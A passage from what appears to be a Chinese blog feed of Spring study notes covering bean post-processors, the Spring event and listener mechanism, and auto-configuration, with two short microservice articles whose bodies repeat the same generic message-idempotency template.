代理创建"></a>场景2：AOP 代理创建</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">class</span> <span class="title class_">AbstractAutoProxyCreator</span> <span class="keyword">extends</span> <span class="title class_">ProxyProcessorSupport</span></span><br><span class="line">        <span class="keyword">implements</span> <span class="title class_">SmartInstantiationAwareBeanPostProcessor</span>, BeanFactoryAware &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">postProcessAfterInitialization</span><span class="params">(<span class="meta">@Nullable</span> Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (bean != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 检查是否需要代理</span></span><br><span class="line">            <span class="keyword">return</span> wrapIfNecessary(bean, beanName, cacheKey);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> bean;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="场景3：初始化日志"><a href="#场景3：初始化日志" class="headerlink" title="场景3：初始化日志"></a>场景3：初始化日志</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InitializationLogger</span> <span class="keyword">implements</span> <span class="title class_">BeanPostProcessor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">postProcessAfterInitialization</span><span class="params">(Object bean, String beanName)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (beanName.endsWith(<span class="string">&quot;Service&quot;</span>) || beanName.endsWith(<span class="string">&quot;Controller&quot;</span>)) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Initialized: &quot;</span> + beanName);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> bean;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>后置处理器</th><th>执行时机</th><th>用途</th></tr></thead><tbody><tr><td>BeanDefinitionRegistryPostProcessor</td><td>BeanDefinition 加载后</td><td>动态注册 Bean</td></tr><tr><td>BeanFactoryPostProcessor</td><td>BeanFactory 初始化后</td><td>修改 BeanDefinition</td></tr><tr><td>InstantiationAwareBeanPostProcessor</td><td>Bean 实例化前后</td><td>自定义实例化、属性注入</td></tr><tr><td>BeanPostProcessor</td><td>Bean 初始化前后</td><td>AOP 代理、初始化处理</td></tr></tbody></table><p>理解后置处理器的执行顺序，是掌握 Spring 扩展机制的关键。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring事件机制与监听模式</title>
      <link href="//spring-shi-jian-ji-zhi-yu-jian-ting-mo-shi/"/>
      <url>//spring-shi-jian-ji-zhi-yu-jian-ting-mo-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring事件机制与监听模式"><a href="#Spring事件机制与监听模式" class="headerlink" title="Spring事件机制与监听模式"></a>Spring事件机制与监听模式</h1><p>Spring 的事件机制实现了发布-订阅模式（Observer Pattern），用于在应用内部解耦模块间的通信。</p><h2 id="核心接口"><a href="#核心接口" class="headerlink" title="核心接口"></a>核心接口</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 事件</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">class</span> <span class="title class_">ApplicationEvent</span> <span class="keyword">extends</span> <span class="title class_">EventObject</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ApplicationEvent</span><span class="params">(Object source)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(source);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 监听器</span></span><br><span class="line"><span class="meta">@FunctionalInterface</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">ApplicationListener</span>&lt;E <span class="keyword">extends</span> <span class="title class_">ApplicationEvent</span>&gt; <span class="keyword">extends</span> <span class="title class_">EventListener</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">onApplicationEvent</span><span class="params">(E event)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 发布器</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">ApplicationEventPublisher</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">publishEvent</span><span class="params">(ApplicationEvent event)</span>;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">publishEvent</span><span class="params">(Object event)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><h3 id="1-定义事件"><a href="#1-定义事件" class="headerlink" title="1. 定义事件"></a>1. 定义事件</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderCreatedEvent</span> <span class="keyword">extends</span> <span class="title class_">ApplicationEvent</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Long orderId;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> BigDecimal amount;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">OrderCreatedEvent</span><span class="params">(Object source, Long orderId, BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(source);</span><br><span class="line">        <span class="built_in">this</span>.orderId = orderId;</span><br><span class="line">        <span class="built_in">this</span>.amount = amount;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// getter</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-发布事件"><a href="#2-发布事件" class="headerlink" title="2. 发布事件"></a>2. 发布事件</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ApplicationEventPublisher eventPublisher;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 创建订单</span></span><br><span class="line">        <span class="type">Order</span> <span class="variable">order</span> <span class="operator">=</span> orderDao.save(request);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 发布事件</span></span><br><span class="line">        eventPublisher.publishEvent(</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">OrderCreatedEvent</span>(<span class="built_in">this</span>, order.getId(), order.getAmount())</span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 其他业务逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-监听事件"><a href="#3-监听事件" class="headerlink" title="3. 监听事件"></a>3. 监听事件</h3><p><strong>方式1：实现 ApplicationListener</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderCreatedListener</span> <span class="keyword">implements</span> <span class="title class_">ApplicationListener</span>&lt;OrderCreatedEvent&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onApplicationEvent</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;订单创建事件: &quot;</span> + event.getOrderId());</span><br><span class="line">        <span class="comment">// 发送短信、更新统计等</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>方式2：@EventListener（推荐）</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderEventListeners</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleOrderCreated</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;订单创建: &quot;</span> + event.getOrderId());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendSms</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        smsService.sendOrderCreatedSms(event.getOrderId());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateStats</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        statsService.incrementOrderCount();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="异步事件"><a href="#异步事件" class="headerlink" title="异步事件"></a>异步事件</h2><h3 id="开启异步支持"><a href="#开启异步支持" class="headerlink" title="开启异步支持"></a>开启异步支持</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableAsync</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(name = &quot;eventAsyncExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Executor <span class="title function_">eventAsyncExecutor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ThreadPoolTaskExecutor</span> <span class="variable">executor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolTaskExecutor</span>();</span><br><span class="line">        executor.setCorePoolSize(<span class="number">5</span>);</span><br><span class="line">        executor.setMaxPoolSize(<span class="number">10</span>);</span><br><span class="line">        executor.setQueueCapacity(<span class="number">100</span>);</span><br><span class="line">        executor.setThreadNamePrefix(<span class="string">&quot;event-&quot;</span>);</span><br><span class="line">        executor.initialize();</span><br><span class="line">        <span class="keyword">return</span> executor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="异步监听"><a href="#异步监听" class="headerlink" title="异步监听"></a>异步监听</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AsyncOrderListeners</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="meta">@Async(&quot;eventAsyncExecutor&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleOrderCreated</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        <span class="comment">// 异步执行</span></span><br><span class="line">        emailService.sendOrderEmail(event.getOrderId());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：异步事件不能依赖事务上下文。</p><h2 id="事务事件"><a href="#事务事件" class="headerlink" title="事务事件"></a>事务事件</h2><h3 id="场景"><a href="#场景" class="headerlink" title="场景"></a>场景</h3><p>事件监听需要在事务提交后才执行（如发送消息）。</p><h3 id="TransactionalEventListener"><a href="#TransactionalEventListener" class="headerlink" title="@TransactionalEventListener"></a>@TransactionalEventListener</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TransactionalOrderListeners</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="meta">@TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendMessage</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        <span class="comment">// 事务提交后才执行</span></span><br><span class="line">        messageService.sendOrderCreatedMessage(event.getOrderId());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@TransactionalEventListener(phase = TransactionPhase.AFTER_ROLLBACK)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleRollback</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        <span class="comment">// 事务回滚后执行</span></span><br><span class="line">        log.warn(<span class="string">&quot;订单创建回滚: &quot;</span> + event.getOrderId());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="事务阶段"><a href="#事务阶段" class="headerlink" title="事务阶段"></a>事务阶段</h3><table><thead><tr><th>阶段</th><th>说明</th></tr></thead><tbody><tr><td>BEFORE_COMMIT</td><td>事务提交前</td></tr><tr><td>AFTER_COMMIT</td><td>事务提交后（默认）</td></tr><tr><td>AFTER_ROLLBACK</td><td>事务回滚后</td></tr><tr><td>AFTER_COMPLETION</td><td>事务完成后（提交或回滚）</td></tr></tbody></table><h2 id="事件传播机制"><a href="#事件传播机制" class="headerlink" title="事件传播机制"></a>事件传播机制</h2><h3 id="ApplicationEventMulticaster"><a href="#ApplicationEventMulticaster" class="headerlink" title="ApplicationEventMulticaster"></a>ApplicationEventMulticaster</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">ApplicationEventMulticaster</span> &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">addApplicationListener</span><span class="params">(ApplicationListener&lt;?&gt; listener)</span>;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">removeApplicationListener</span><span class="params">(ApplicationListener&lt;?&gt; listener)</span>;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">multicastEvent</span><span class="params">(ApplicationEvent event)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>默认实现</strong>：SimpleApplicationEventMulticaster</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SimpleApplicationEventMulticaster</span> <span class="keyword">extends</span> <span class="title class_">AbstractApplicationEventMulticaster</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">multicastEvent</span><span class="params">(ApplicationEvent event)</span> &#123;</span><br><span class="line">        multicastEvent(event, resolveDefaultEventType(event));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">multicastEvent</span><span class="params">(<span class="keyword">final</span> ApplicationEvent event, ResolvableType eventType)</span> &#123;</span><br><span class="line">        <span class="type">ResolvableType</span> <span class="variable">type</span> <span class="operator">=</span> (eventType != <span class="literal">null</span> ? eventType : resolveDefaultEventType(event));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">final</span> ApplicationListener&lt;?&gt; listener : getApplicationListeners(event, type)) &#123;</span><br><span class="line">            <span class="type">Executor</span> <span class="variable">executor</span> <span class="operator">=</span> getTaskExecutor();</span><br><span class="line">            <span class="keyword">if</span> (executor != <span class="literal">null</span>) &#123;</span><br><span class="line">                executor.execute(() -&gt; invokeListener(listener, event));</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                invokeListener(listener, event);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="自定义事件广播器"><a href="#自定义事件广播器" class="headerlink" title="自定义事件广播器"></a>自定义事件广播器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> ApplicationEventMulticaster <span class="title function_">applicationEventMulticaster</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">SimpleApplicationEventMulticaster</span> <span class="variable">multicaster</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SimpleApplicationEventMulticaster</span>();</span><br><span class="line">    multicaster.setTaskExecutor(eventAsyncExecutor());</span><br><span class="line">    multicaster.setErrorHandler(t -&gt; log.error(<span class="string">&quot;事件处理异常&quot;</span>, t));</span><br><span class="line">    <span class="keyword">return</span> multicaster;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="泛型事件"><a href="#泛型事件" class="headerlink" title="泛型事件"></a>泛型事件</h2><h3 id="使用-ResolvableType"><a href="#使用-ResolvableType" class="headerlink" title="使用 ResolvableType"></a>使用 ResolvableType</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EntityCreatedEvent</span>&lt;T&gt; <span class="keyword">extends</span> <span class="title class_">ApplicationEvent</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> T entity;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">EntityCreatedEvent</span><span class="params">(Object source, T entity)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(source);</span><br><span class="line">        <span class="built_in">this</span>.entity = entity;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> T <span class="title function_">getEntity</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> entity;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EntityEventListener</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleUserCreated</span><span class="params">(EntityCreatedEvent&lt;User&gt; event)</span> &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> event.getEntity();</span><br><span class="line">        System.out.println(<span class="string">&quot;用户创建: &quot;</span> + user.getName());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleOrderCreated</span><span class="params">(EntityCreatedEvent&lt;Order&gt; event)</span> &#123;</span><br><span class="line">        <span class="type">Order</span> <span class="variable">order</span> <span class="operator">=</span> event.getEntity();</span><br><span class="line">        System.out.println(<span class="string">&quot;订单创建: &quot;</span> + order.getId());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="条件监听"><a href="#条件监听" class="headerlink" title="条件监听"></a>条件监听</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConditionalListener</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EventListener(condition = &quot;#event.amount &gt; 1000&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleBigOrder</span><span class="params">(OrderCreatedEvent event)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;大额订单: &quot;</span> + event.getOrderId());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="与消息队列对比"><a href="#与消息队列对比" class="headerlink" title="与消息队列对比"></a>与消息队列对比</h2><table><thead><tr><th>特性</th><th>Spring 事件</th><th>MQ</th></tr></thead><tbody><tr><td>耦合度</td><td>应用内解耦</td><td>系统间解耦</td></tr><tr><td>持久化</td><td>无</td><td>有</td></tr><tr><td>可靠性</td><td>一般</td><td>高</td></tr><tr><td>分布式</td><td>不支持</td><td>支持</td></tr><tr><td>复杂度</td><td>低</td><td>高</td></tr></tbody></table><p><strong>建议</strong>：</p><ul><li>应用内模块通信：Spring 事件</li><li>跨服务通信：MQ（RabbitMQ、Kafka）</li></ul><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>事件类命名</strong>：以 Event 结尾，过去式（OrderCreatedEvent）</li><li><strong>事件字段</strong>：包含必要上下文，避免过多数据</li><li><strong>监听器命名</strong>：handle + 事件名</li><li><strong>异步处理</strong>：耗时操作使用 @Async</li><li><strong>事务边界</strong>：需要事务保证的使用 @TransactionalEventListener</li><li><strong>异常处理</strong>：配置 ErrorHandler，避免影响其他监听器</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring 事件机制提供了轻量级的发布-订阅模式：</p><table><thead><tr><th>组件</th><th>作用</th></tr></thead><tbody><tr><td>ApplicationEvent</td><td>事件基类</td></tr><tr><td>ApplicationListener</td><td>监听器接口</td></tr><tr><td>@EventListener</td><td>注解方式监听</td></tr><tr><td>ApplicationEventPublisher</td><td>事件发布</td></tr><tr><td>@TransactionalEventListener</td><td>事务事件</td></tr></tbody></table><p>合理使用事件机制，可以降低模块耦合，提高代码可维护性。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="服务注册发现的基本流程"><a href="#服务注册发现的基本流程" class="headerlink" title="服务注册发现的基本流程"></a>服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="配置中心解决了什么问题"><a href="#配置中心解决了什么问题" class="headerlink" title="配置中心解决了什么问题"></a>配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring自动配置的实现原理</title>
      <link href="//spring-zi-dong-pei-zhi-de-shi-xian-yuan-li/"/>
      <url>//spring-zi-dong-pei-zhi-de-shi-xian-yuan-li/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring自动配置的实现原理"><a href="#Spring自动配置的实现原理" class="headerlink" title="Spring自动配置的实现原理"></a>Spring自动配置的实现原理</h1><p>Spring Boot 的自动配置是其最受欢迎的特性之一。理解自动配置原理，有助于自定义 Starter 和排查配置问题。</p><h2 id="自动配置的入口"><a href="#自动配置的入口" class="headerlink" title="自动配置的入口"></a>自动配置的入口</h2><h3 id="SpringBootApplication"><a href="#SpringBootApplication" class="headerlink" title="@SpringBootApplication"></a>@SpringBootApplication</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootApplication</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Application</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        SpringApplication.run(Application.class, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>等价于</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableAutoConfiguration</span></span><br><span class="line"><span class="meta">@ComponentScan</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Application</span> &#123; &#125;</span><br></pre></td></tr></table></figure><h3 id="EnableAutoConfiguration"><a href="#EnableAutoConfiguration" class="headerlink" title="@EnableAutoConfiguration"></a>@EnableAutoConfiguration</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(ElementType.TYPE)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="meta">@Inherited</span></span><br><span class="line"><span class="meta">@AutoConfigurationPackage</span></span><br><span class="line"><span class="meta">@Import(AutoConfigurationImportSelector.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> EnableAutoConfiguration &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>核心</strong>：<code>@Import(AutoConfigurationImportSelector.class)</code></p><h2 id="AutoConfigurationImportSelector"><a href="#AutoConfigurationImportSelector" class="headerlink" title="AutoConfigurationImportSelector"></a>AutoConfigurationImportSelector</h2><h3 id="加载流程"><a href="#加载流程" class="headerlink" title="加载流程"></a>加载流程</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AutoConfigurationImportSelector</span> <span class="keyword">implements</span> </span><br><span class="line">        <span class="title class_">DeferredImportSelector</span>, BeanClassLoaderAware, ... &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String[] selectImports(AnnotationMetadata annotationMetadata) &#123;</span><br><span class="line">        <span class="comment">// 1. 获取自动配置条目</span></span><br><span class="line">        <span class="type">AutoConfigurationEntry</span> <span class="variable">autoConfigurationEntry</span> <span class="operator">=</span> </span><br><span class="line">            getAutoConfigurationEntry(annotationMetadata);</span><br><span class="line">   